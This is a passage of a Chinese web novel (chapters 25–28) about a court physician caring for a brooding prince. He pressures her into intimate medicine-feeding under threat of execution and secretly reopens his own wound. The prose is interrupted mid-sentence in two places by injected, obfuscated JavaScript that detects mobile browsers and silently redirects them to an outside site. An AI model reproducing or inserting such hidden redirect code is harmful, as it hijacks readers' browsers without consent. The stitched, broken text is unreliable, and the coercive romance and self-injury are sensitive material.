然而这位崇安王性情大变还远未结束,他变得越发少言寡语,对待父辈兄长也不似平日温和脾气极差。若有人惹他不快,无需第二日,他当场便能送他横尸借口。朝野皆惧。 他的张狂已经到了极致,永光帝却是不敢拿他怎么样,因为满朝武将能用之人太少,他的能力又太过出色,因此也就睁一只眼闭一只眼了。 容潜不喜欢边境的环境,在朝时间更多些,于是便出了意外,上月武安王被人偷袭死在边境,与之关系最好的容潜将他尸身迎回,一进宫就听说喻景淮劫持软禁了容烨。 一波未平一波又起,但不知几人之间达成了什么交易,皇家却是放过了喻景淮。 25. 药苦 旁人不知道崇安王为什么突然变得这么好说话,喻景淮作出如此大逆不道之事,最终却由崇安王亲自把他送出了和顺门,据说一同离开的还有一位女子。 不用说,那女子一定是云染。 只是不知道他们之间究竟发生了什么,竟闹到如此地步。 收拾好药匣,千裔清余光扫过容潜,正见他低头把衣裳重新系好,即便动作拉扯,脸上也不见一丝疼的样子,看不出身上有伤。 千裔清问:“你不疼?怎么眉头都不皱一下?” 容潜面无表情地整理好衣襟,看着她道:“皱眉就不会疼了吗?” 千裔清抿了抿唇,一时哑口无言。 她把刚写好的方子压在桌上,提起药匣,又交代几句:“怕是你体质特殊不易凝血,我写的方子可以辅助伤口恢复,汤药和外用的药都是每日一次,最多七日就能痊愈,记住了?” “话太多了,记不住。” 千裔清:“......” “没关系,我已经写下来了,你吩咐下去就行。” 容潜问:“你要走?” “还有什么需要我做的?”千裔清疑惑。 “我是说,七日以后要是不好呢?” “只是普通的外伤而已,别的大夫来也治的好。” 容潜冷着脸说道:“皇兄说治不好就摘了你的脑袋,你忘了?” 千裔清有些无奈:“那你想怎么样?” 容潜想了想:“待我痊愈,你再走。” 不等她回绝,容潜抬声道:“陆离!” 房门即刻被推开,陆离进门,看到千裔清后面上一怔,相□□点头算是打了招呼。 “殿下有何吩咐?” “安排下去,给神医收拾间屋子。” 陆离一顿:“那......殿下以为安排在哪里合适?” “这种事还需要我教你?”容潜微微扬眉,面色不耐。 陆离瑟缩了一下:“那、那属下自己领会!”说完,他看着千裔清,张了张口,恭敬道,“神医,这边请。” 见他们态度坚决,千裔清自知推辞不了,无论容潜还是容烨,她都得罪不起。 千裔清笑了笑,心中没了秘密,再见到陆离还觉得挺亲切的:“不用这么客气,还叫我千千就行。” 陆离一愣,犹豫地看向容潜。 容潜横他一眼:“她让你叫你就叫,看我做什么?” “是!”陆离点头如捣蒜,“千......千千姑娘,跟我来吧。” 崇安王府极是气派,房间也是多不胜数,但千裔清坚持要住的离厨房近一些,说是煎药制药都更方便。 其实也并非全因如此,厨房离容潜的住处也更远,离他远,她才能安心。 陆离想着,既然王爷没说要安排在哪,那就听千千姑娘的准没错。 一路上走了很久才过半,她只觉得很奇怪。小厮奴仆就不用说了,一部分是原来霜序居的熟面孔,另一部分想必是宫里安排的,然而这么多的奴仆,却是没有丫鬟侍女。 满王府全是男丁,这是进了座和尚庙吗? 对容潜他们或许没什么不方便的,但她是女子,若是每日有男仆敲她房门,却是有些不习惯的。 千裔清想起先前那那对儿姐妹,便问陆离:“绛珠和绛雪没跟过来吗?” 陆离一愣,没想到她还会提起那两人,说道:“殿下说绛珠和绛雪伺候过姑娘,就把她们送去璟王府了。” 千裔清心头愧疚:“这么说倒是我连累她们了......” 陆离欲言又止,最终还是没忍住,问道:“既然你回来了,那我就斗胆问你一句——姑娘既然活着,为什么不回家?” “家?”千裔清偏头想了想,意识到她说的是霜序居,“我是被佑王——” “我们都知道!那天殿下被先帝绊在宫里,回来时候就听说了你的事,当即去了佑王府,佑王有心激怒殿下,还没怎么问就都坦白了。”陆离打断她,叹了口气说,“可是姑娘,事后殿下带人去找过你,并没有发现你的尸体,他知道你没有死,两年来也从未放弃过找你,可你既然没事儿,为什么不肯回来呢?” 千裔清也不知道该怎么说,她是答应过和他在一起,但也的确对他没有男女之情。她知道他是良人,却又十分抗拒帝王家。 祝音成婚,她最大的愿望只剩下安稳活着,然而,只要继续和这座皇城有所牵扯,那她就无法安稳。 千裔清坦然一笑:“我怕死啊。” “有殿下在,你怎么会死呢?” “可我差点就死了。”千裔清看着陆离,神色平静,“如果没有遇到重云门的人,我现在已经死了。” 陆离不说话了,他只是又沉沉叹了口气。 千裔清打趣他:“陆离,我记得你原来总像个木头桩子似的板着脸,现在倒是有点活人样儿了。” 陆离闻言斜了他一眼:“是啊,我有点儿活人样了,殿下却不像活人了,千千姑娘,还不都是拜你所赐!” 他这话说的阴阳怪气,明里暗里都在责怪她。千裔清觉得理亏,咬了咬嘴唇,随意笑笑,全当没听清楚。 - 傍晚,厨房的炉灶炊烟飘起,府中下人进进出出忙着布菜。 家仆围着厨房转了一圈,终于在角落里瞧见那道人影,瘦弱的背影坐在矮凳上,一只手拿着蒲扇,正在看炉火。药罐里煮着的汤药苦的异常,比他之前闻过的都要苦。 家仆舒了口气,弯下腰:“原来您在这儿啊!可找着您了,殿下说让您一起去用晚膳呢!” 千裔清掀开盖子看了一眼,药汤颜色还有些淡,应该还需要些时候。 “不了,厨房里不是有吃的吗,你去转告殿下,不用等我。” “可是殿下吩咐......” “我这可是为了殿下的伤早点好,你觉得是我吃饭重要还是殿下痊愈重要?” “......好吧。” 余光扫过家仆离开的背影,千裔清勾勾唇角,托着腮继续煎药。 她才不要和崇安王一起吃饭,这让她怎么吃得下去。 约莫一柱香的时间,那些菜又被全数撤回来了,看起来像是没动。千裔清随意看了两眼,似乎都是自己喜欢的菜式。 这么多菜,也太浪费了! 她随意喊了两个家仆过来,熟练的把药倒进瓷白药碗中,剩下的药渣和罐子尽数丢给另一人。 “药好了,你去给殿下送过去——这些药渣你去倒了,药罐随意冲洗一下即可,不必洗刷的太干净。” 做完这些,她瞧见还未被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899861|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾干净的胭脂鹅脯,顺手拾了一块塞进嘴里。 初夏的夜晚也是暖的,所以这些菜还没凉透。味道不错,王府的厨子比霜序居的几个厨艺更好。 其实她原先的胃口还是不错,只是今时不同往日,能活下来就算是万幸了,哪还有那么健康的脾胃。 这些菜是好吃,然而吃了几口便觉得饱了。也正是因为如此,她如今看起来如弱风扶柳,羸弱的让人心疼。 千裔清住着的厢房离厨房不过一个拐角加上几步远,刚把身子瘫下喘口气,门外又又家仆来敲门了。 还是送药的那个。 “千千姑娘,陆离大人请您过去一趟,说是殿下不肯喝您的药。” 千裔清微微蹙眉,心道容潜又在整什么幺蛾子。 她耐心道:“是药有什么问题吗?还是太苦?” 家仆摇摇头:“殿下说,您不给他面子,他也不给您面子。” 千裔清无所谓道:“他爱喝不喝,不喝也死不了。” 家仆笑了笑:“陆离大人说殿下就猜到您会这样说,如果您这么说了就再转告您一句——既然这样殿下就去转告皇上,说神医您不想要您的脑袋了!” “......”她没忍住翻了个白眼,无奈说道,“那我随你去看看吧。” - 不过一盏茶的功夫来到崇安王卧房门前,家仆在廊下停住便不敢再上前了。 看他惊惶的眼神,容潜性格古怪他是清楚的,因此不敢接近。 不进便不进吧,她抬手敲门,里面没人答应,却是传来了急促的几声脚步。 陆离从里头打开房门,见是千裔清过来,面上一喜。突然又觉得自己太喜形于色了,攥着拳头放在嘴角轻咳了两声。 “你来了,殿下正等你呢。” 千裔清对着房里张望了一眼,却是什么都看不见。 “别看了,快进去吧!” 说完,陆离自顾自推了她一把,接着把门砰的一,把她一个人留在房里。 卧房内灯火通明,像是白天一样亮堂堂的,容潜盘腿倚在榻上,手中拿着本书认真看着,身边的方桌上,瓷白药碗中的汤药分毫未动。 千裔清沉吟片刻,几步上前抽走他手里的书。 是本张先的诗集。 他倒还有闲情逸致看这个! 千裔清冷眼看着他:“我已经来了,现在可以喝了吧?” 容潜抬头瞥了她一眼:“不喝。”说完,又把被抢走的手重新夺回,翻到刚才看的那页《画堂春》。 “为什么?” “苦。” 他连疼都不怕,还会怕苦? 千裔清觉得他是在故意刁难她,想让自己的病好不了,然后回禀皇上摘了她的脑袋。 他在报复她,报复她对他的避而不见,报复她的两年深居不归。 千裔清没说话,端起药碗放在唇边,在他略显诧异的目光之下喝了一口,然后面无表情的又把药碗递过去。 “不苦,喝吧。” 容潜皱着眉头盯着药碗看了一会儿,问道:“你不是最怕苦的?” 千裔清手腕一颤,讶然他还记得。恍惚间想起从前自己受伤时赖着不肯喝药,非要他哄才肯喝的样子。 如今也是颠倒了角色,还挺可笑的。 26. 喂药 这可是深得官朗州真传的药方和熬制方法。 苦、怎么会不苦,然而她早已习惯了。 “现在不怕了。”她盈盈一笑,掩下眉间一缕失落和愁怨,“喝吧,大名鼎鼎的崇安王不会还如我这小女子吧?” 容潜盯着她,细细在她眉眼之间打量了一番,也将她方才一瞬的变化尽收眼底。他突然掀起唇角,似笑非笑的样子让她顿感毛骨悚然。 “不喝。” 千裔清拂过耳侧一缕碎发,说道:“既然殿下执意不喝,也好,倒省了我的麻烦!殿下早些休息吧,明日我再来给您换药。” 说完,她把药碗放进瑶盘,作势就要端走。 一只手蓦地握住她手腕,骨架之上的纤细让他动作一滞。容潜探究地看向她,像是带了一层怜惜,但却是很淡,是他在极力压制。 喜怒皆不形于色,这才是如今的他。 没想到时隔许久的再次动容,竟还是因为眼前这个女人。 容潜看着她:“你就不能哄哄我?” “好啊,殿下想要我怎么哄?”千裔清挑起眉梢,等着他的下文。 容潜垂眼,眸色悄悄黯淡几分,接着他倏而想起什么,收回手重新倚在榻上,危险地眯起眼,笑容里暗藏着阴谋。 容潜提出了新的要求:“你喂我吧。” 药碗里乖巧地躺着一只瓷白小勺。 药原就是苦的,无论怎么喝,热了喝还是凉了喝,用什么法子或是工具喝,它都是苦的。 最好的办法就是一饮而尽,这样还能缩短一些受苦的时间。 他这是什么道理?要她喂,岂不是更遭罪了? 虽然不理解这人怪异的想法,千裔清还是照做,伸手落向药碗中的小勺。 “等一下——” 只见榻上那人仍旧盘腿斜倚着,一只手肘撑在方桌上,另一只手微微抬起,然后伸出两根手指,对着她随意地勾了两下,眼瞳中尽是缱绻和算计,只等她上钩。 容潜说道:“用嘴喂。” 千裔清总算明白他刚才垂眸想了些什么了,心下陡然对此举生出鄙夷:“殿下想轻薄我直说便是,何必这么拐弯抹角的,也不嫌丢人!” 容潜一点也不生气,把身子向前探了几分,好整以暇地看着她:“那好——我想轻薄你,可以吗?” 当然不可以!她是医者,不是园子里的娼伎! “不可以。”想也不想,千裔清言辞拒绝。 他一拂袖子,故作惋惜:“好吧,那我明日就去回禀皇兄。” 千裔清心中有种不好的预感:“回禀什么?” “你说呢?”容潜笑眯眯的,却平白让她添一身冷意。 他还真是威胁上瘾了。 总听这话,也是渐渐不耐烦,可她偏偏又要吃这个哑巴亏。 此情此情,颇有与昔日的她角色对调之感,算了,她只当是顺便还债了。 又不会少块肉! “那就喂吧。”千裔清向来很擅长说服自己。 然而给过他回答后,千裔清杵在原地没动。 她好像还是没办法说服自己。 坐在面前的是容潜,不是原来的那个容怀瑕,她捉摸不透,招架不住,更应付不了,因而也没办法向从前一样随意调笑。 和崇安王说的每一个字,做的每一件事,都是要仔细斟酌后果的。 容潜屈指在桌面上敲了敲,催促她。 见她还是犹豫,干脆勾过她脖颈一把将人捞了过来。 千裔清没站稳,下巴磕上他的肩膀,撞的发疼。 她吃痛地轻呼一声,摸索着想要起身,却发现两只手都环在容潜的腰背间,整个人跪坐在他身上。 双手摸索到的必然不是铺着软垫的锦榻,而是容潜精壮的腰身。 饶是她脸皮再厚,这样子还真有点难为情。她只能清醒还好没有旁人在,否则还以为两人在行什么苟且之事。 容潜第一时间听到她发出闷哼,心头一颤,还以为她伤到了。一手钳着她的脸,架在掌心左右看看,见她下巴磕的并不严重,只有一点微微的发红,是撞在他肩头所致。 宽掌中嵌着的脸只有他巴掌大小,娇娆美丽却不艳俗,是寻常人不可染指的神仙样貌。 这张面孔与两年前并无半分差别,仍是那么吸引他,令他魂牵梦绕。 容潜放心了,迅速收起眼中溢出的一抹关心,提醒她:“药快凉了。” 凉了你自己喝啊! 千裔清很想骂他,然而脸已经被架在面前,很近,不过一拳之隔,再推诿就显得矫情了。 尤其是那人还很好心的腾出另一只手把药碗递给她,提了附加条件:“你喂多少我就喝多少,如何?” 千裔清这次连表情都懒得给他了,自然也没说话,只把身子挺直了一些。反正已经是这光景了,她不管现在是不是坐在他身上。 端起小碗含起一口,稍稍调整好角度,此时的她略居高临下地望着容潜,苦涩的药汁在鼻腔中清晰地蔓延,她虽是不怕苦,但这么含着并不好受。不知道什么时候,容潜的手扶上她的后脑,有种生怕她突然撤退的防备感。 千裔清缓缓靠近,眯起眼把目光锁在他的唇上,冰凉的小手捏着他两颊,对方在她将唇贴上时立刻默契地微微张开,只待她把汤药渡入他口。 她甚至可以听到容潜喉结上下吞咽的声音。 很顺利,顺利到她几乎觉得执行者是容潜而不是她。 双唇分离时,她心中却有一种羞愤感,再看向容潜的眼神也无法自然了。 需速战速决,于是她接着第二次。 好在这药碗不大,不过四五口,碗已经要见底了。 最后一渡结束,她急着撤离,腰上虚环着的手臂却蓦的缩紧,狠狠把她锁进怀中。 千裔清心头一慌,唇齿在他唇角含糊地磨蹭:“你干什么!” 托着她后脑的手终于也在此时发挥了它的作用,在千裔清即将把脸撤开的时候及时地按住,与腰上的手相互配合,一同将她按在容潜怀里。 方才分开的唇再次紧密贴合,腥苦的药液还在唇周没擦干净,然而口中更甚。 容潜的吻饱含压抑和掠夺,却偏生在她真的要喘不过气时心疼的放开了她。 那是他骨子里对她保留的一丝温柔和不忍,因为他珍惜。 珍惜这场好不容易争取到手的失而复得。 - 陆离在走廊外的台阶下站了许久,原地踱步的时候,忽的听到身后房门开合的声音。 一回头,晦暗的屋檐下,千裔清手上的白玉瑶盘和 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她却不同了,她心有忌惮,又无权拒绝,只好赶鸭子上架被迫配合。 今时往日,像、又不像。 千裔清越来越觉得容潜是在报复她,羞辱她。 她甩甩头,将心中繁杂丢去,罢了,最多七日而已。七日后,她便可去向皇上请求,留在宫中继续做事或是自行方便都好,总之不必留在这崇安王府。 - 千裔清仍是不肯和他一同用饭,容潜也不强迫于她。 昨日尝了甜头,他心情很好,便吩咐下人将饭菜一应送去她房里。 桑根、青矾、白桐叶......还有什么来着? 这些东西本是寻常之物,可她清楚记得,那药方中远不止于这些。 原是师傅不愿在她面前多提起方幼渺的制傀之事,她自己也很懂事的不去多问,担心师傅心生悲痛。时隔多年,即便她凭证自己的药理知识将配方完成了,这研制过程,每样药材要熬煮多久,用量如何,也都是难题。 容烨也真看得起她,他就不能直接派人去找林霖吗? 以他的手段,她不信容烨找不到。 正想到这,昨日传话的家仆又来催了:“陆离大人问今天的药熬好了没,如果熬好了,请千千姑娘赶紧送过去。 这会儿倒是上赶着喝药了,千裔清哪会看不出他的心思,不过她也不在意,所做一切无非为保身家性命,说好听点,也算是尽她医家本分。 千裔清掀开紫砂罐盖瞧了一眼:“好了。” “那小的帮姑娘一道送过去。” 千裔清点点头:“你叫什么名字?”总不能一直哎哎的叫他,实在不方便。 “小的是宝林,昨日跟小的一起的是宝山,平日里我们二人在殿下跟前侍奉的时候最多,姑娘有什么要交代的,随时招呼一声就行!” “宝林,你先送过去吧,我回房里取来药匣,顺便帮殿下换药。” “是,那小的先去向殿下禀报。” 寄人篱下,既然少不了要和崇安王见面,那么她所能做的就是把两人见面相处的时间降到最低最短。 27. 逃避 暖律潜催,枝头绵蛮,别院阁下皆是暖风拂面。 这时节本也算卧病养伤的好时候。 只是容潜身上这伤口不但没见好转,渗血之势都还未止住。饶是千裔清也忍不住皱眉。 治疗外伤的敷药是师傅日前新制的,药效应正强劲,虽说不至于一两日便好,止血总是没问题的。 容潜的视线在她身上停了一会,微微抿唇:“你在看什么?” 千裔清收回诧异的目光,重新替他换好了药:“没什么,殿下这伤口比寻常人要好得慢,需得再注意一些,不要拉扯到伤口,也不能碰水,若是沐浴也得更加小心。” 容潜狐疑地瞟了她一眼,一下猜中了她的担心:“你该不会是治不好吧?” “当然不会!”千裔清瞪他,“放心,只要你听我的话一定能好的。” “我有什么不放心的,反正皇兄要的是你的脑袋,不是我的。”容潜的表情略显玩味,慢悠悠地合紧衣领,缓缓踱步,停在她身后,“你若求我,我便跟皇兄知会一声再多宽限你几日,如何?” 耳边颈后的呼吸灼人,千裔清不答,转了个身去倒罐中的汤药,不着痕迹避开他的亲近。 药碗中的汤药冒着热气,她用手捂了捂碗身——还很烫,一时半会是喝不了下去了。 这么干等着也是无趣,千裔清自顾自坐在榻上,捏了块桌上放的果子吃。 王府里的糕点是精致了不少,无论色泽还是形状都让人觉得更有食欲,就连摆盘都整齐好看,一眼看去,还是一块未动过。百花糕原本就是她最爱吃的,牡丹花瓣的香气扑鼻而来,甜度也很合她口味。 容潜瞳孔微缩,看着她道:“你倒是一点不客气。” 视线交汇,她咽下口中糕点,随意笑道:“药还烫着,殿下还是坐着等吧。” 容潜勾了勾唇角,一掀衣袍坐下,顺手将玉盘往她肘边推了一推,问道:“好吃吗?” “好吃,要不要尝尝?” 话一出口,她又觉得自己蠢。这百花糕原本就是容潜府上的东西,他定是吃了不知多少回的,哪里需要她来推荐。 容潜淡淡道:“不必,我不喜甜。” 差点忘了,容潜这人口味一贯清淡,不喜酸辣也不喜甜腻。 桌上这盘糕点绵软爽口,一尝便知是今日新鲜刚做的。 奇怪了,不喜欢吃干嘛还要做了摆在这儿? 吃了两块,千裔清觉得胃口满足了。 容潜盯着她:“你这食量倒是浅了不少,胃口不好?” “老毛病了。”她不在意道。 “老毛病?”容潜微微眯眼,深邃的目光锁着她侧脸弧线,“什么时候的老毛病,我怎么不知道?” 还不都是拜你那位七皇兄所赐。 想到面前这两人乃是同父异母的兄弟俩,所恨无法不殃及池鱼,千裔清冷然一笑:“殿下才认识我多久,又怎知我的过去如何?” 容潜心中有些诧异,怎么好端端的突然又变了脸色。 他沉吟:“是因为容泽?” 是因为容泽又能怎么样,难不成他还能为了自己去找自己的亲哥哥报仇不成? 千裔清默然。 容潜心中有了几分考量,瞧着她细弱的手腕更加满心怒火:“既然过得不好,为什么不来找我?” 千裔清释然地笑了:“好与不好都已经过去了,我都不在意,殿下难道还想翻旧账?” 容潜目光如炬:“你如果委屈,我——” “我不委屈。”千裔清打断他,起身把桌上的药碗端过来放在他面前,“殿下,该喝药了。” 容潜抿了抿唇角,口中有几句话酝酿了很久,但他终是没说出口。 眼神微沉,垂眸落在浓郁的汤药上,然而瞳色却比它还要深上几分。 “你的性子倒是变了不少。” “殿下是想说我变得忍气吞声了?” “不止。”他掀起一个嘲讽的弧度,冷眼道,“还变得悲天悯人了。” 千裔清怔了片刻,而后笑道:“医者自然要对万物有怜悯之心。”她又催促了一遍,“殿下,药快凉了。” “放那儿吧。”容潜随口答她,看起来心不在焉,又拿起一块百花糕在眼前翻来覆去地看着。 千裔清以为他怕苦又想找什么借口赖掉,又或是还想让自己哄他喝。“不喝药,您的伤可好不了。” 他淡淡“嗯”了一声:“放那吧,我自己会喝。” 容潜今日这是放过她了? 千裔清诧异:“殿下不用我侍候了?” 容潜这才把目光从手中的糕点移开,掀起眼皮瞥了她一眼:“怎么,你很想服侍我?” “没有没有!”她急着反驳,方觉得自己表现的太过欣喜了,连忙收敛一些,垂头避开他的目光,“那殿下喝完早些休息便是,我就不打扰了。” 怕容潜反悔,她一连串地说完这些话,头也不回的走了。 虽然不知道今天的容潜怎么突然这么好说话,但对她来说总是好事。 离开这间卧房,她觉得胸口中的浊气散尽,就连天上的星星都亮了许多。 只可惜无论如何,天上总有星辰变换昼夜交替的时候,再明亮的星月也总要搁浅,时间一天天的过,不管是容潜的伤还是容烨交待的事,她都得尽快完成。 待她下定了决心,容潜却变了,他不再让千裔清服侍他喝药和换药,即便千裔清敲门他也会拒之门外。 因此,她已有两日未见过容潜了。 眼前忽的晃过一道人影,眼见着就要消失在拐角处。 “陆离!” 提着剑的黛衫侍卫停下脚步:“千千姑娘有什么吩咐?” “吩咐不敢当。”再往前几步就是容潜的卧房,此刻依然是大门紧闭的,千裔清翻出手心捧着的瓷瓶,“这是我为殿下新制的药,里面新添了几味药材。” “多谢了。”陆离神色顿了顿,伸手接过药瓶,抬脚便走。 这就走了? 千裔清急忙喊住他:“欸——等等!” “还有什么事?”陆离转过头,身子却没回过来,似是急着要走。 千裔清说不上哪里不对,只是出于直觉,她觉得一定有哪里不对。 挂上浅笑,千裔清拢了拢耳边的长发。 陆离心头一紧,只要这姑娘这么笑着,又带上许多做作的姿态,准是没什么好事。 果然,千裔清手指缠着发梢,看似 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陆离又想起主子的一番话,紧张起来:“殿下刚用了午膳,这会儿应该睡下了!姑娘知道的,殿下的脾气不大好......” 余光落在不远处的房门上,石阶上的树叶被扫得干干净净,台阶下的空地还有一些湿水痕迹,想来是下人刚刚打扫过。 千裔清想了想,抬脚便往他门口去,也不管陆离一遍遍地重复他编出来的蹩脚理由。 陆离是真的很想拦她,也是真的没胆子真去拦她,这人是里头那位主子心尖儿上的人,若是动了她半根头发丝,恐怕遭殃的还是自己。 这差事真是越来越难办了! 陆离一咬牙,瞬间有了主意,抬头对着只有两步之遥的房门大声喊道:“千千姑娘留步!殿下还在休息,你不能进去!” 听到这突然抬高的音量,千裔清嘴角掀起一丝冷笑。 她分明就在陆离跟前,根本用不着这么大声的说话。这话是在提醒里头的容潜她过来了。 转眼间人已来到门外,手掌按在门框的刹那,一柄剑鞘横在她双目之前。 陆离做着最后的挣扎:“千千姑娘,您这一推门怕是要惹殿下不高兴了。” 千裔清侧过脸幽幽地看他一眼:“他不高兴的时候多了,不差这一回。” 说完,她手上一顿,突然收了回来。 正在陆离以为她改变主意的时候,千裔清却是一抬脚,狠狠将门踢开。 鸦色的楠木房门“嘭”的一声打开,门沿木框跟着颤了几颤,连带着门闩上的铜锁扣也一起发出异样的声音。 千裔清的腿本就没好利索,一脚下去也是费尽了力气,膝盖足尖都有点疼了。 她暗暗咬唇,气势是足了,身上却并不好受。下次可不能再做这种自损八百的事了! 陆离紧跟在她身后进了房门,一转头,容潜正坐在床上,修长的手指还按在前襟之上,眼神有一些不清明,像是刚起床穿好衣服的样子。 听到声音,容潜抬头,两道森然的目光像一对双刀利箭,直穿陆离的心脏。然而仅是一瞬,他收回目光,落在千裔清身上时总算没那么骇人。 不过他语气仍是不好:“你来做什么?” 28. 自伤 被人打扰了清梦自然都是高兴不起来的,可千裔清不信。 她站在原地瞄了一眼容潜完整的衣物,打趣道:“殿下穿衣裳的动作倒是快,方才陆离还说您在休息,这会儿就已经起来了。” 听到这,陆离已经不敢再继续待下去了。 他弯下腰认错:“殿下恕罪,是属下没拦住千千姑娘,属下这就去灵犀堂跪着等候您发落!” 说完,他头也不敢抬,就这么三两步退出去,还顺手关上房门。想起崇安王方才那眼神,再待下去他怕是真的要死无葬身之地。 一门之隔,外头是陆离终于直起腰来长长地舒了一口气,里头是千裔清不依不饶非要寻出个答案来不可。 “我来看看我的病人是否安好,顺便给我的病人送些药来。”千裔清上前几步,居高临下地看着他。 容潜收回目光,随意答她:“看完了?把药放下出去吧。” 出去?那可不行! “什么看完了?我还没看呢!”千裔清拦在他面前,“今天就由我来为殿下换药吧,若是有什么不妥,我也好及时为殿下调理。” “有陆离在,不劳你费心。”容潜起身,一手拂开她拦在面前的胳膊朝外走。 千裔清跟在他身后,几乎贴着他的衣角,一步也不肯落下。 她提醒:“陆离大人方才已经自行去灵犀堂领罚,殿下莫不是忘了?” “那就把他叫回来。” 千裔清眉头一锁,低头看着就在自己手边的宽大衣袖,她心中一横,胳膊上顿时生了力气。 未等容潜走出几步,千裔清攥紧他袖口的一角,接着狠狠一拽,拉着那人转了身,在他还没来得及反应的时候又推着他肩膀将人往身下按。 一来一回,几个呼吸之间,千裔清就把他按在了一旁的塌上,手更是不加停顿地伸向他胸口衣领处。 容潜眼中闪过片刻的错愕,立刻捉住她的手,拦下她的去势:“你又要做什么?” “能做什么?看看你的伤。”千裔清动了动手腕,发现根本动弹不得,“殿下不会是害羞了吧?” 听到这话,容潜依旧是握着她的手腕没撒开:“本王的身体岂是你想看就能看的?” 千裔清嗤笑:“这会儿倒是端起你的王爷架子了!” 他越是这样,她越觉得奇怪。 不过一个伤而已有什么不能看的,难道是已经好了,怕她知晓后一走了之? 千裔清看着他猜测道:“你的伤怎么样,是不是已经好了?” 攥着她的力道明显一顿,容潜冷哼一声,继而甩开她的手不屑道:“没好。” 千裔清揉了揉发酸的手腕,不过一会儿,腕上已经有两道明显的指痕。 “没好为什么不给我看?你是不是想故意拖着让伤口恶化,然后顺理成章的让皇上砍我的头!” 闻言,容潜猛然抬眸,冷冽锋锐的目光看向她,声音喑沉:“你就是这么想我的?你觉得我想让你死?” 似剑的双目刺的千裔清一颤,她晃神,有片刻时间觉得自己误解了容潜。 只是看他的反应,无论是误解还是真的说中,总归他是吃这套激将法的,那么她便不能这时候退缩。 千裔清挑眉,一脸的不信任:“如果不是,为什么不敢给我看?” 容潜看着她,直到他想通了,懒散地把身子微微后仰倚在榻栏上,摊开双臂作出一副任人宰割的模样:“想看就看吧。” 看就看! 千裔清俯下身子,略过外袍半松他的腰带,接着是上衣。 上衫的衣扣和女子样式不同,前两次都是容潜自己动手解的,到了今日轮到她亲自上手,却发觉处处都是困难。 容潜不知道她的为难,他只是觉得鼻间萦绕的是她好闻的发香,脖颈胸前皆是她略微急促的呼吸,撩拨的他心烦意乱,心脏直跳。 她在紧张? 是因为亲近自己才紧张吗? 容潜不敢再想下去了,因为他发现自己搭在桌沿的手正有一下没一下地敲着,这原是为了掩饰自己的心烦意乱,而今频率却越来越快,还有些不受控制地想揽上近在咫尺的纤腰。 眼前腰肢薄弱的不堪一握,容潜悄悄看了一眼自己的手掌,尺寸似乎很合。 也不知道这轻薄白衫之下的肌肤被握在他手中是何等情状。 是否如梦中一般...... 胸口一凉,越飘越远的思绪陡然被拉回现实。 容潜轻咳一声,垂下眼睑很快整理干净瞳孔中的欲色。 千裔清盯着那片嫣红的血色十分诧异,她想过这伤好的慢,却没想过居然还在渗血,而且看起来好像比第一次见还要严重,隐隐有发炎的趋势。 “你这两日做什么了?碰水了?” “没有。” “那为什么会这样?”千裔清百思不得其解。 见过治不好的,着实没见过越治越差的。 容潜歪着头,略带戏谑道:“你这神医之名似乎虚有其表。” 千裔清不在意这些虚名,她在意的是能不能完成皇上的旨意。 眼前的伤口虽是不大,皮肉上的破绽却鲜红的分明。他的身体周边皮肤都干净完好,可见平日的确是不常受伤的,若是在这胸口之上留下剑痕,未免也太可惜了。 可是这剑伤...... 这剑伤似乎与上次不大一样。 “看完了没有?”容潜轻咳一声,正欲拉好衣服。 该死!她好像被骗了! 千裔清一咬牙,突然狠狠在他肩头推了一把。 剑刃拔出,饶是再精确都不可能分毫不错地嵌回,所以这剑伤是新刺的。 只有新伤才会流血。 上次见到之时应该也是如此,只是今日怕是时间仓促,他还未来得及处理上药,为他的手段做掩护。 可他为什么要不惜伤害身体反复剥开自己的皮肉。 千裔清嘲讽地一笑:“你不疼吗?” 容潜微愣,抬手一层一层地穿衣裳:“不疼。” 千裔清点点头:“想来也是不疼,不过殿下还是少做这些自损身体的事吧!” 穿着衣裳的手微微一顿,容潜依旧是垂眸不看她:“多谢提醒。” 这算是默认了? “容潜!” 一声怒喝,容潜总算是肯正眼看她了。他勾起唇角:“嗯,好听么?” 什么? 千裔清稍稍晃神,突然意识到他是在问自己的名字好听不好听。 方才她一生气,不小心对着这位王爷直呼其名了。 但千裔清也顾不得许多,她的唇边仍噙着嘲讽:“殿下的母亲选的字自然好听。不过我记得殿下说过,此字意在‘潜虽伏矣,亦孔之昭’,不知今日殿下所做所为是否有失君子之行?” “你还记得我曾经对你说过的话?”容潜毫不在意她语中的嘲讽,甚至面上还带了几分愉快。 千裔清有些无奈:“你知不知道伤口发炎是会死人的。” “不是有你在吗?”容潜笑眯眯的,心情很好的样子,“你这是在担心我?” 这样的笑若是被旁人看到一定会惊掉下巴,对从前的千裔清来说却是常见的——在她还住在霜序居的时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899864|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千裔清实在拿他没什么办法。她有时候觉得容潜软硬不吃,脑子里不知道在想些什么,有时候又觉得这人好像很好哄,一点甜头就能让他高兴起来。 像个疯子。 她可以在正常的容怀瑕身边游刃有余的撩拨,却不知道该用什么样的表情去面对一个疯子。 千裔清认输了,她叹了口气:“你到底要怎么样?” 容潜迟疑片刻,突然开口:“若我的伤好了,你是不是就走了?” 接着他起身,一把扶上她肩头,凝视着她的双眸。千裔清有些失神,她甚至可以清晰的从他的墨色瞳孔中看到自己的倒影。 容潜又问:“若我的伤不好,你是不是就不会走了?” 